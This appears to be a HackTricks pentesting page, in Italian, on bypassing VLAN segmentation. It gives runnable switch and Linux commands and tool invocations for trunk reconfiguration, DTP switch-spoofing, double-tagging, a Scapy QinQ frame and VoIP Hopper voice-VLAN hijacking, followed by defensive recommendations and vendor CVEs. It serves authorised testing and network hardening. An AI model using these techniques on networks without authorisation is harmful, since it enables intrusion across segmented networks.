Lateral VLAN Segmentation Bypass

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Se l'accesso diretto a uno switch è disponibile, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (per ulteriori dettagli controlla https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso messaggi CDP, o cercando la porta tramite la maschera include.

Se CDP non è operativo, l'identificazione della porta può essere tentata cercando l'indirizzo MAC:

SW1(config)# show mac address-table | include 0050.0000.0500

Prima di passare alla modalità trunk, è necessario compilare un elenco delle VLAN esistenti e determinare i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10.

SW1# show vlan brief

La transizione alla modalità trunk comporta l'ingresso nella modalità di configurazione dell'interfaccia:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Passare alla modalità trunk interromperà temporaneamente la connettività, ma questa può essere ripristinata successivamente.

Vengono quindi create interfacce virtuali, assegnati ID VLAN e attivate:

bash
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Successivamente, viene effettuata una richiesta di indirizzo tramite DHCP. In alternativa, nei casi in cui DHCP non sia praticabile, gli indirizzi possono essere configurati manualmente:

bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20

Esempio per impostare manualmente un indirizzo IP statico su un'interfaccia (VLAN 10):

bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10

La connettività viene testata avviando richieste ICMP ai gateway predefiniti per le VLAN 10, 20, 50 e 60.

In definitiva, questo processo consente di bypassare la segmentazione VLAN, facilitando così l'accesso illimitato a qualsiasi rete VLAN e preparando il terreno per azioni successive.


Altre Tecniche di VLAN-Hopping (senza CLI switch privilegiata)

Il metodo precedente presuppone l'accesso autenticato alla console o Telnet/SSH allo switch. Negli impegni del mondo reale, l'attaccante è solitamente connesso a una porta di accesso regolare. I seguenti trucchi di Layer-2 spesso ti permettono di pivotare lateralmente senza mai accedere al sistema operativo dello switch:

1. Switch-Spoofing con Dynamic Trunking Protocol (DTP)

Gli switch Cisco che mantengono DTP abilitato negozieranno felicemente un trunk se il peer afferma di essere uno switch. Creare un singolo frame DTP “desirable” o “trunk” converte la porta di accesso in un trunk 802.1Q che trasporta tutte le VLAN consentite.

Yersinia e diversi PoC automatizzano il processo:

bash
# Become a trunk using Yersinia (GUI)
sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Recon helper (identificare passivamente lo stato DTP della porta):

bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

# or

wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0

Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente.

2. Double-Tagging (Abuso del Native-VLAN)

Se l'attaccante si trova sul native (untagged) VLAN, un frame creato con due intestazioni 802.1Q può saltare a un secondo VLAN anche quando la porta è bloccata in modalità accesso. Strumenti come VLANPWN DoubleTagging.py (refresh 2022-2025) automatizzano l'iniezione:

bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

3. QinQ (802.1ad) Stacking

Molti core aziendali supportano l'incapsulamento Q-in-Q dei fornitori di servizi. Dove consentito, un attaccante può incapsulare traffico etichettato 802.1Q arbitrario all'interno di un fornitore (S-tag) per attraversare le zone di sicurezza. Cattura per ethertype 0x88a8 e prova a rimuovere l'etichetta esterna con Scapy:

python
from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)

Le porte di accesso aziendali si trovano spesso in una configurazione “access + voice”: VLAN dati non contrassegnata per la workstation e una VLAN voce contrassegnata pubblicizzata tramite CDP o LLDP-MED. Impersonando un telefono IP, l'attaccante può scoprire automaticamente e accedere alla VLAN VoIP, anche quando DTP è disabilitato.

VoIP Hopper (incluso in Kali 2025.2) supporta CDP, opzioni DHCP 176/242 e spoofing completo di LLDP-MED:

bash
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940

# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z

# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN

La tecnica bypassa la separazione dei dati/voce ed è estremamente comune sugli switch edge aziendali nel 2025 perché la politica automatica LLDP è abilitata per impostazione predefinita su molti modelli.


Raccomandazioni Difensive

  1. Disabilitare DTP su tutte le porte rivolte agli utenti: switchport mode access + switchport nonegotiate.
  2. Cambiare il VLAN nativo su ogni trunk in un VLAN non utilizzato, black-hole e taggarlo: vlan dot1q tag native.
  3. Potare VLAN non necessarie sui trunk: switchport trunk allowed vlan 10,20.
  4. Applicare la sicurezza delle porte, DHCP snooping, ispezione ARP dinamica e 802.1X per limitare l'attività Layer-2 non autorizzata.
  5. Disabilitare le politiche automatiche di voce LLDP-MED (o bloccarle a MAC OUI autenticati) se il spoofing del telefono IP non è richiesto.
  6. Preferire VLAN private o segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q.

Vulnerabilità dei Fornitori nel Mondo Reale (2022-2024)

Anche una configurazione di switch perfettamente rinforzata può essere compromessa da bug del firmware. Esempi recenti includono:

  • CVE-2022-20728† – Cisco Aironet/Catalyst Access Points consentono l'iniezione dal VLAN nativo in VLAN WLAN non native, bypassando la segmentazione cablata/wi-fi.
  • CVE-2024-20465 (Cisco IOS Industrial Ethernet) consente il bypass delle ACL su SVI dopo aver attivato il Protocollo Ethernet Resiliente, facendo trapelare il traffico tra VRF/VLAN. Patch 17.9.5 o successiva.

Monitorare sempre gli avvisi dei fornitori per problemi di bypass/ACL relativi ai VLAN e mantenere aggiornate le immagini dell'infrastruttura.


Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks